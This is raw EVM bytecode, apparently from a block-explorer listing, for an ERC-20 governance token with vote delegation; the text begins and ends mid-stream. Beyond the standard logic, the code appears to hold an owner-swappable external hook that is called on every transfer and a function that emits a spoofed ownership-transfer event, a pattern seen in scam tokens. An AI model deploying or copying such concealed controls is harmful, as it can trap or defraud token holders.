00000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f1901000000000000000000000000000000000000000000000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f64656c656761746542795369673a20696e76616c6964207369676e6174757265600082015250565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f770000600082015250565b7f64656c656761746542795369673a207369676e61747572652065787069726564600082015250565b7f5f7772697465436865636b706f696e743a206e657720636865636b706f696e7460008201527f2065786365656473203332206269747300000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f64656c656761746542795369673a20696e76616c6964206e6f6e636500000000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6137438161322d565b811461374e57600080fd5b50565b61375a8161324b565b811461376557600080fd5b50565b61377181613275565b811461377c57600080fd5b50565b6137888161327f565b811461379357600080fd5b50565b61379f8161328f565b81146137aa57600080fd5b5056fe608060405234801561001057600080fd5b506101ea806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c80636bf92ea214610030575b600080fd5b61004a600480360381019061004591906100fb565b61004c565b005b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6000813590506100e081610186565b92915050565b6000813590506100f58161019d565b92915050565b60008060006060848603121561011057600080fd5b600061011e868287016100d1565b935050602061012f868287016100d1565b9250506040610140868287016100e6565b9150509250925092565b60006101558261015c565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b61018f8161014a565b811461019a57600080fd5b50565b6101a68161017c565b81146101b157600080fd5b5056fea2646970667358221220e32c3b9e25196b65647682f9a67ef2503547fd579b44605c642cbc82280b607f64736f6c6343000801003345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655f7772697465436865636b706f696e743a20626c6f636b206e756d6265722065786365656473203332206269747345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212201ae54d1e424bc01056c2679e4f1b7f6912ef1170008ca352fe8d3319228c8a8764736f6c63430008010033608060405234801561001057600080fd5b506101ea806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c80636bf92ea214610030575b600080fd5b61004a600480360381019061004591906100fb565b61004c565b005b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6000813590506100e081610186565b92915050565b6000813590506100f58161019d565b92915050565b60008060006060848603121561011057600080fd5b600061011e868287016100d1565b935050602061012f868287016100d1565b9250506040610140868287016100e6565b9150509250925092565b60006101558261015c565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b61018f8161014a565b811461019a57600080fd5b50565b6101a68161017c565b81146101b157600080fd5b5056fea2646970667358221220e32c3b9e25196b65647682f9a67ef2503547fd579b44605c642cbc82280b607f64736f6c63430008010033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101c45760003560e01c80638da5cb5b116100f9578063c3cda52011610097578063dd62ed3e11610071578063dd62ed3e1461052f578063e7a324dc1461055f578063f1127ed81461057d578063f2fde38b146105ae576101c4565b8063c3cda520146104eb578063c44e370214610507578063c64cb5af14610525576101c4565b8063a457c2d7116100d3578063a457c2d71461043f578063a9059cbb1461046f578063b4b5ea571461049f578063b792d03f146104cf576101c4565b80638da5cb5b146103e757806395d89b41146104055780639755409e14610423576101c4565b8063587cde1e1161016657806370a082311161014057806370a082311461034d578063715018a61461037d578063782d6fe1146103875780637ecebe00146103b7576101c4565b8063587cde1e146102d15780635c19a95c146103015780636fcfff451461031d576101c4565b806320606b70116101a257806320606b701461023557806323b872dd14610253578063313ce5671461028357806339509351146102a1576101c4565b806306fdde03146101c9578063095ea7b3146101e757806318160ddd14610217575b600080fd5b6101d16105ca565b6040516101de9190612e78565b60405180910390f35b61020160048036038101906101fc9190612955565b61065c565b60405161020e9190612d73565b60405180910390f35b61021f61067a565b60405161022c919061303a565b60405180910390f35b61023d610684565b60405161024a9190612d8e565b60405180910390f35b61026d600480360381019061026891906128a3565b6106a8565b60405161027a9190612d73565b60405180910390f35b61028b610781565b60405161029891906130c2565b60405180910390f35b6102bb60048036038101906102b69190612955565b610798565b6040516102c89190612d73565b60405180910390f35b6102eb60048036038101906102e6919061283e565b61084b565b6040516102f89190612d21565b60405180910390f35b61031b6004803603810190610316919061283e565b6108b4565b005b6103376004803603810190610332919061283e565b6108c1565b604051610344919061307e565b60405180910390f35b6103676004803603810190610362919061283e565b6108e4565b604051610374919061303a565b60405180910390f35b61038561092d565b005b6103a1600480360381019061039c9190612955565b610a67565b6040516103ae919061303a565b60405180910390f35b6103d160048036038101906103cc919061283e565b610e3e565b6040516103de919061303a565b60405180910390f35b6103ef610e56565b6040516103fc9190612d21565b60405180910390f35b61040d610e7f565b60405161041a9190612e78565b60405180910390f35b61043d600480360381019061043891906128f2565b610f11565b005b61045960048036038101906104549190612955565b6110c2565b6040516104669190612d73565b60405180910390f35b61048960048036038101906104849190612955565b61118f565b6040516104969190612d73565b60405180910390f35b6104b960048036038101906104b4919061283e565b6111ad565b6040516104c6919061303a565b60405180910390f35b6104e960048036038101906104e4919061283e565b61128c565b005b61050560048036038101906105009190612991565b611305565b005b61050f61159a565b60405161051c9190612d73565b60405180910390f35b61052d6115ad565b005b61054960048036038101906105449190612867565b611655565b604051610556919061303a565b60405180910390f35b6105676116dc565b6040516105749190612d8e565b60405180910390f35b61059760048036038101906105929190612a1a565b611700565b6040516105a5929190613099565b60405180910390f35b6105c860048036038101906105c3919061283e565b611741565b005b6060600580546105d9906132cf565b80601f0160208091040260200160405190810160405280929190818152602001828054610605906132cf565b80156106525780601f1061062757610100808354040283529160200191610652565b820191906000526020600020905b81548152906001019060200180831161063557829003601f168201915b5050505050905090565b6000610670610669611948565b8484611950565b6001905092915050565b6000600454905090565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b60006106b5848484611b1b565b610776846106c1611948565b610771856040518060600160405280602881526020016139de60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610727611948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bf49092919063ffffffff16565b611950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b60006108416107a5611948565b8461083c85600260006107b6611948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118ea90919063ffffffff16565b611950565b6001905092915050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6108be3382611c52565b50565b600a6020528060005260406000206000915054906101000a900463ffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610935611948565b73ffffffffffffffffffffffffffffffffffffffff16610953610e56565b73ffffffffffffffffffffffffffffffffffffffff16146109a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a090612fba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000438210610aab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa290612e9a565b60405180910390fd5b6000600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161415610b18576000915050610e38565b82600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184610b6791906131f9565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611610c1457600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600183610bee91906131f9565b63ffffffff1663ffffffff16815260200190815260200160002060010154915050610e38565b82600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115610c95576000915050610e38565b600080600183610ca591906131f9565b90505b8163ffffffff168163ffffffff161115610dd257600060028383610ccc91906131f9565b610cd69190613194565b82610ce191906131f9565b90506000600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff168152602001600182015481525050905086816000015163ffffffff161415610da157806020015195505050505050610e38565b86816000015163ffffffff161015610dbb57819350610dcb565b600182610dc891906131f9565b92505b5050610ca8565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206001015493505050505b92915050565b600b6020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610e8e906132cf565b80601f0160208091040260200160405190810160405280929190818152602001828054610eba906132cf565b8015610f075780601f10610edc57610100808354040283529160200191610f07565b820191906000526020600020905b815481529060010190602001808311610eea57829003601f168201915b5050505050905090565b610f19611948565b73ffffffffffffffffffffffffffffffffffffffff16610f37610e56565b73ffffffffffffffffffffffffffffffffffffffff1614610f8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8490612fba565b60405180910390fd5b60011515600360009054906101000a900460ff16151514156110bc576000821115610fc057610fbb81611dc3565b61102a565b604051610fcc906127c8565b604051809103906000f080158015610fe8573d6000803e3d6000fd5b50600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636bf92ea28585856040518463ffffffff1660e01b815260040161108993929190612d3c565b600060405180830381600087803b1580156110a357600080fd5b505af11580156110b7573d6000803e3d6000fd5b505050505b50505050565b60006111856110cf611948565b8461118085604051806060016040528060258152602001613a3460259139600260006110f9611948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bf49092919063ffffffff16565b611950565b6001905092915050565b60006111a361119c611948565b8484611b1b565b6001905092915050565b600080600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff1611611217576000611284565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060018361126591906131f9565b63ffffffff1663ffffffff168152602001908152602001600020600101545b915050919050565b8073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001600060146101000a81548160ff02191690831515021790555050565b60007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8666113306105ca565b8051906020012061133f611e15565b306040516020016113539493929190612dee565b60405160208183030381529060405280519060200120905060007fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf8888886040516020016113a49493929190612da9565b604051602081830303815290604052805190602001209050600082826040516020016113d1929190612cea565b60405160208183030381529060405280519060200120905060006001828888886040516000815260200160405260405161140e9493929190612e33565b6020604051602081039080840390855afa158015611430573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156114ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a390612f3a565b60405180910390fd5b600b60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906114fc90613301565b919050558914611541576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153890612fda565b60405180910390fd5b87421115611584576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157b90612f7a565b60405180910390fd5b61158e818b611c52565b50505050505050505050565b600360009054906101000a900460ff1681565b6115b5611948565b73ffffffffffffffffffffffffffffffffffffffff166115d3610e56565b73ffffffffffffffffffffffffffffffffffffffff1614611629576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162090612fba565b60405180910390fd5b600360009054906101000a900460ff1615600360006101000a81548160ff021916908315150217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b6009602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060010154905082565b611749611948565b73ffffffffffffffffffffffffffffffffffffffff16611767610e56565b73ffffffffffffffffffffffffffffffffffffffff16146117bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b490612fba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561182d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182490612eda565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008082846118f99190613104565b90508381101561193e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193590612f1a565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b79061301a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2790612efa565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611b0e919061303a565b60405180910390a3505050565b611b26838383611e22565b611bef600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836120bb565b505050565b6000838311158290611c3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c339190612e78565b60405180910390fd5b508284611c4991906131c5565b90509392505050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000611cc1846108e4565b905082600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a4611dbd8284836120bb565b50505050565b611dcb61236a565b15611e125780600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6000804690508091505090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8990612ffa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef990612eba565b60405180910390fd5b611f0d838383612380565b611f79816040518060600160405280602681526020016139b860269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bf49092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061200e81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118ea90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516120ae919061303a565b60405180910390a3505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156120f75750600081115b1561236557600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612230576000600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff161161219a576000612207565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001846121e891906131f9565b63ffffffff1663ffffffff168152602001908152602001600020600101545b9050600061221e848361241690919063ffffffff16565b905061222c8684848461246f565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612364576000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff16116122ce57600061233b565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060018461231c91906131f9565b63ffffffff1663ffffffff168152602001908152602001600020600101545b9050600061235284836118ea90919063ffffffff16565b90506123608584848461246f565b5050505b5b505050565b60008060149054906101000a900460ff16905090565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636bf92ea28484846040518463ffffffff1660e01b81526004016123df93929190612d3c565b600060405180830381600087803b1580156123f957600080fd5b505af115801561240d573d6000803e3d6000fd5b50505050505050565b60008282111561245b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245290612f5a565b60405180910390fd5b818361246791906131c5565b905092915050565b6000612493436040518060600160405280602e8152602001613a06602e9139612772565b905060008463ffffffff1611801561253157508063ffffffff16600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001876124fb91906131f9565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b156125ab5781600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060018761258591906131f9565b63ffffffff1663ffffffff1681526020019081526020016000206001018190555061271b565b60405180604001604052808263ffffffff16815260200183815250600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff160217905550602082015181600101559050508363ffffffff1660018561266a919061315a565b63ffffffff16116126b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126a790612f9a565b60405180910390fd5b6001846126bd919061315a565b600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051612763929190613055565b60405180910390a25050505050565b6000640100000000831082906127be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b59190612e78565b60405180910390fd5b5082905092915050565b61020a806137ae83390190565b6000813590506127e48161373a565b92915050565b6000813590506127f981613751565b92915050565b60008135905061280e81613768565b92915050565b6000813590506128238161377f565b92915050565b60008135905061283881613796565b92915050565b60006020828403121561285057600080fd5b600061285e848285016127d5565b91505092915050565b6000806040838503121561287a57600080fd5b6000612888858286016127d5565b9250506020612899858286016127d5565b9150509250929050565b6000806000606084860312156128b857600080fd5b60006128c6868287016127d5565b93505060206128d7868287016127d5565b92505060406128e8868287016127ff565b9150509250925092565b6000806000806080858703121561290857600080fd5b6000612916878288016127d5565b9450506020612927878288016127d5565b9350506040612938878288016127ff565b9250506060612949878288016127d5565b91505092959194509250565b6000806040838503121561296857600080fd5b6000612976858286016127d5565b9250506020612987858286016127ff565b9150509250929050565b60008060008060008060c087890312156129aa57600080fd5b60006129b889828a016127d5565b96505060206129c989828a016127ff565b95505060406129da89828a016127ff565b94505060606129eb89828a01612829565b93505060806129fc89828a016127ea565b92505060a0612a0d89828a016127ea565b9150509295509295509295565b60008060408385031215612a2d57600080fd5b6000612a3b858286016127d5565b9250506020612a4c85828601612814565b9150509250929050565b612a5f8161322d565b82525050565b612a6e8161323f565b82525050565b612a7d8161324b565b82525050565b612a94612a8f8261324b565b61334a565b82525050565b6000612aa5826130dd565b612aaf81856130e8565b9350612abf81856020860161329c565b612ac8816133e1565b840191505092915050565b6000612ae06021836130e8565b9150612aeb826133f2565b604082019050919050565b6000612b036023836130e8565b9150612b0e82613441565b604082019050919050565b6000612b266026836130e8565b9150612b3182613490565b604082019050919050565b6000612b496022836130e8565b9150612b54826134df565b604082019050919050565b6000612b6c6002836130f9565b9150612b778261352e565b600282019050919050565b6000612b8f601b836130e8565b9150612b9a82613557565b602082019050919050565b6000612bb26020836130e8565b9150612bbd82613580565b602082019050919050565b6000612bd5601e836130e8565b9150612be0826135a9565b602082019050919050565b6000612bf86020836130e8565b9150612c03826135d2565b602082019050919050565b6000612c1b6030836130e8565b9150612c26826135fb565b604082019050919050565b6000612c3e6020836130e8565b9150612c498261364a565b602082019050919050565b6000612c61601c836130e8565b9150612c6c82613673565b602082019050919050565b6000612c846025836130e8565b9150612c8f8261369c565b604082019050919050565b6000612ca76024836130e8565b9150612cb2826136eb565b604082019050919050565b612cc681613275565b82525050565b612cd58161327f565b82525050565b612ce48161328f565b82525050565b6000612cf582612b5f565b9150612d018285612a83565b602082019150612d118284612a83565b6020820191508190509392505050565b6000602082019050612d366000830184612a56565b92915050565b6000606082019050612d516000830186612a56565b612d5e6020830185612a56565b612d6b6040830184612cbd565b949350505050565b6000602082019050612d886000830184612a65565b92915050565b6000602082019050612da36000830184612a74565b92915050565b6000608082019050612dbe6000830187612a74565b612dcb6020830186612a56565b612dd86040830185612cbd565b612de56060830184612cbd565b95945050505050565b6000608082019050612e036000830187612a74565b612e106020830186612a74565b612e1d6040830185612cbd565b612e2a6060830184612a56565b95945050505050565b6000608082019050612e486000830187612a74565b612e556020830186612cdb565b612e626040830185612a74565b612e6f6060830184612a74565b95945050505050565b60006020820190508181036000830152612e928184612a9a565b905092915050565b60006020820190508181036000830152612eb381612ad3565b9050919050565b60006020820190508181036000830152612ed381612af6565b9050919050565b60006020820190508181036000830152612ef381612b19565b9050919050565b60006020820190508181036000830152612f1381612b3c565b9050919050565b60006020820190508181036000830152612f3381612b82565b9050919050565b60006020820190508181036000830152612f5381612ba5565b9050919050565b60006020820190508181036000830152612f7381612bc8565b9050919050565b60006020820190508181036000830152612f9381612beb565b9050919050565b60006020820190508181036000830152612fb381612c0e565b9050919050565b60006020820190508181036000830152612fd381612c31565b9050919050565b60006020820190508181036000830152612ff381612c54565b9050919050565b6000602082019050818103600083015261301381612c77565b9050919050565b6000602082019050818103600083015261303381612c9a565b9050919050565b600060208201905061304f6000830184612cbd565b92915050565b600060408201905061306a6000830185612cbd565b6130776020830184612cbd565b9392505050565b60006020820190506130936000830184612ccc565b92915050565b60006040820190506130ae6000830185612ccc565b6130bb6020830184612cbd565b9392505050565b60006020820190506130d76000830184612cdb565b92915050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600061310f82613275565b915061311a83613275565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561314f5761314e613354565b5b828201905092915050565b60006131658261327f565b91506131708361327f565b92508263ffffffff0382111561318957613188613354565b5b828201905092915050565b600061319f8261327f565b91506131aa8361327f565b9250826131ba576131b9613383565b5b828204905092915050565b60006131d082613275565b91506131db83613275565b9250828210156131ee576131ed613354565b5b828203905092915050565b60006132048261327f565b915061320f8361327f565b92508282101561322257613221613354565b5b828203905092915050565b600061323882613255565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600063ffffffff82169050919050565b600060ff82169050919050565b60005b838110156132ba57808201518184015260208101905061329f565b838111156132c9576000848401525b50505050565b600060028204905060018216806132e757607f821691505b602082108114156132fb576132fa6133b2565b5b50919050565b600061330c82613275565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561333f5761333e613354565b5b600182019050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f6765745072696f72566f7465733a206e6f74207965742064657465726d696e6560008201527f6400000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f1901000000000000000000000000000000000000000000000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f64656c656761746542795369673a20696e76616c6964207369676e6174757265600082015250565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f770000600082015250565b7f64656c656761746542795369673a207369676e61747572652065787069726564600082015250565b7f5f7772697465436865636b706f696e743a206e657720636865636b706f696e7460008201527f2065786365656473203332206269747300000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f64656c656761746542795369673a20696e76616c6964206e6f6e636500000000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6137438161322d565b811461374e57600080fd5b50565b61375a8161324b565b811461376557600080fd5b50565b61377181613275565b811461377c57600080fd5b50565b6137888161327f565b811461379357600080fd5b50565b61379f8161328f565b81146137aa57600080fd5b5056fe608060405234801561001057600080fd5b506101ea806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c80636bf92ea214610030575b600080fd5b61004a600480360381019061004591906100fb565b61004c565b005b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6000813590506100e081610186565b92915050565b6000813590506100f58161019d565b92915050565b60008060006060848603121561011057600080fd5b600061011e868287016100d1565b935050602061012f868287016100d1565b9250506040610140868287016100e6565b9150509250925092565b60006101558261015c565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b61018f8161014a565b811461019a57600080fd5b50565b6101a68161017c565b81146101b157600080fd5b5056fea2646970667358221220e32c3b9e25196b65647682f9a67ef2503547fd579b44605c642cbc82280b607f64736f6c6343000